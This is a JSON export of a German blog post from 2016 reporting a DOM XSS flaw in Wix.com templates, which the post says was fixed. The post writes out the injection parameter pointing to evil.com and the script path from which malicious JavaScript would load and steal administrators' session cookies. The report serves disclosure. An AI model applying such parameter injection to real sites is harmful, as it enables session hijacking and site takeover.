{"id":183503,"date":"2016-11-07T15:30:08","date_gmt":"2016-11-07T14:30:08","guid":{"rendered":"http:\/\/www.borncity.com\/blog\/?p=183503"},"modified":"2024-07-12T11:53:12","modified_gmt":"2024-07-12T09:53:12","slug":"xss-sicherheitslcke-gefhrdete-wix-sites","status":"publish","type":"post","link":"https:\/\/borncity.com\/blog\/2016\/11\/07\/xss-sicherheitslcke-gefhrdete-wix-sites\/","title":{"rendered":"XSS-Sicherheitsl&uuml;cke gef&auml;hrdete WIX-Sites"},"content":{"rendered":"<p><img loading=\"lazy\" decoding=\"async\" style=\"float: left; margin: 0px 10px 0px 0px; display: inline\" src=\"https:\/\/borncity.com\/blog\/wp-content\/uploads\/2015\/01\/Schutz.jpg\" width=\"40\" height=\"47\"\/>Eine XSS-Sicherheitsl\u00fccke in den vom Hoster Wix verwendeten Templates f\u00fcr Webseiten macht3 diese angreifbar f\u00fcr einen Wurm. Die L\u00fccke scheint seit dem 3. November 2016 geschlossen.<\/p>\n<p><!--more--><\/p>\n<p>Das Ganze wurde von Sicherheitsforscher Matt Austin in <a href=\"https:\/\/www.contrastsecurity.com\/security-influencers\/dom-xss-in-wix.com\" target=\"_blank\" rel=\"noopener\">diesem Blog-Beitrag<\/a> dokumentiert. Der Anbieter Wix.com hat eine veritable DOM XSS-Sicherheitsl\u00fccke in seinen Seitenvorlagen, die es Angreifern erm\u00f6glicht, die Kontrolle \u00fcber jede beim Anbieter gehostete Webseite zu erlangen. Dazu muss zur URL einer bei Wix.com gehosteten Seite nur der Parameter:<\/p>\n<p><em>?ReactSource=<\/em><em>http:\/\/evil.com <\/em><\/p>\n<p>angeh\u00e4ngt werden. Wird auf <em>evil.com<\/em> im Verzeichnis:<\/p>\n<p><em>\/packages-bin\/wixCodeInit\/wixCodeInit.min.js <\/em><\/p>\n<p>Schadcode gehostet, kann dieses JavaScript unter der Ziel-Webseite laufen. Damit k\u00f6nnen \u00fcber die XSS-Sicherheitsl\u00fccke Sitzungs-Cookies des Administrators einer Wix-Subdomain gestohlen und f\u00fcr eigene Zwecke missbraucht werden. Matt Austin hat die Details in <a href=\"https:\/\/www.contrastsecurity.com\/security-influencers\/dom-xss-in-wix.com\" target=\"_blank\" rel=\"noopener\">diesem Blog-Beitrag<\/a> dokumentiert. Laut den Nachtr\u00e4gen im Beitrag ist die Sicherheitsl\u00fccke seit dem 3. November 2016 geschlossen. (<a href=\"https:\/\/web.archive.org\/web\/20170513222253\/http:\/\/www.infoworld.com:80\/article\/3137956\/security\/xss-flaw-on-wix-leaves-the-door-open-to-worms.html?\" target=\"_blank\" rel=\"noopener\">via<\/a>)<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Eine XSS-Sicherheitsl\u00fccke in den vom Hoster Wix verwendeten Templates f\u00fcr Webseiten macht3 diese angreifbar f\u00fcr einen Wurm. Die L\u00fccke scheint seit dem 3. November 2016 geschlossen.<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[908,426],"tags":[4338,1782,3479],"class_list":["post-183503","post","type-post","status-publish","format-standard","hentry","category-internet","category-sicherheit","tag-internet","tag-sicherheitslucke","tag-xss"],"_links":{"self":[{"href":"https:\/\/borncity.com\/blog\/wp-json\/wp\/v2\/posts\/183503","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/borncity.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/borncity.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/borncity.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/borncity.com\/blog\/wp-json\/wp\/v2\/comments?post=183503"}],"version-history":[{"count":0,"href":"https:\/\/borncity.com\/blog\/wp-json\/wp\/v2\/posts\/183503\/revisions"}],"wp:attachment":[{"href":"https:\/\/borncity.com\/blog\/wp-json\/wp\/v2\/media?parent=183503"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/borncity.com\/blog\/wp-json\/wp\/v2\/categories?post=183503"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/borncity.com\/blog\/wp-json\/wp\/v2\/tags?post=183503"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}